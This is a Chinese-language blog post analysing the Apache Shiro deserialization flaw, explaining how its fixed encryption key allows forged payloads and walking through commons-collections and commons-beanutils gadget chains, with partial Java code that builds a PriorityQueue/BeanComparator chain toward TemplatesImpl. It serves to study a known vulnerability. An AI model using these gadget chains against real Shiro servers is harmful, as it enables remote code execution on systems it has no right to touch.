shiro反序列化漏洞

##漏洞分析
首先我们看到其加密的key是一个固定值

有了这个key我们就可以伪造

##利用shiro打cc3.2.1
首先我们知道,如果直接用invokeTransformer打的话是打不通的,因为在shiro里面,如果使用数组进行反序列化会报错,所以我们需要构造一条不用数组的——cc2,但是cc2后半段是用于cc4.0版本的,所以后半段我们需要替换一下,这里我用的是cc6的后半段
首先,前面部分就是cc2的内容,不依赖于数组的传参方式,然后后面的部分使用的是cc6的链条,因为其无数版本,所以比较合适一些

##利用shiro无依赖利用链
由于shiro本身是不带cc的依赖,所以我们使用他自身带的依赖——commons-beanutils:这个是用来方便调用javaBean的,在使用这个cb进行调用的时候,使用以下格式的话,会在template这个对象里面,调用getOutputProperties方法

PropertyUtils.getProperty(template,"outputProperties");

接下来我们就分析一下这个利用链:
首先我们确定一下终点,依旧是templates的getOutputProperties方法,因为这个时候就会调用newTransformer方法

接下来我们就找找哪里有使用PropertyUtils.getProperty方法,可以发现BeanComparator.compare中调用了这个方法,并且参数是可控的,说到compare,其实就很熟悉了,在cc4中中,我们就有用过了,这里直接粘贴过来构造一下链子

其中需要改的地方,首先是增加调用BeanComparator

然后就是后面对PriorityQueue的赋值操作,

//BeanComparator中的属性properties需要设置一下,就是我们需要调用的属性
BeanComparator beanComparator = new BeanComparator("outputProperties");
//为了防止在序列化的过程直接执行,然后报错断掉,这里我们需要先弄一个其他的对象替代一下,最后再用反射改值
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
//这里的add就和前面的cc4没啥区别了
priorityQueue.add(template);
priorityQueue.add(2);
//最后这里用反射改值就行
Class p = priorityQueue.getClass();
Field priorityQueuecon = p.getDeclaredField("comparator");
priorityQueuecon.setAccessible(true);
priorityQueuecon.set(priorityQueue,beanComparator);

但是这里有几个坑,如果没有cc依赖的话,这里的BeanComparator需要这么写才行,因为默认的comparator是需要有cc依赖的

使用ysoserial打的时候,要注意版本,yso的cb版本是1.9.2

Author

vague huang

Posted on

2023-01-15

Updated on

2023-02-10

Licensed under

Comments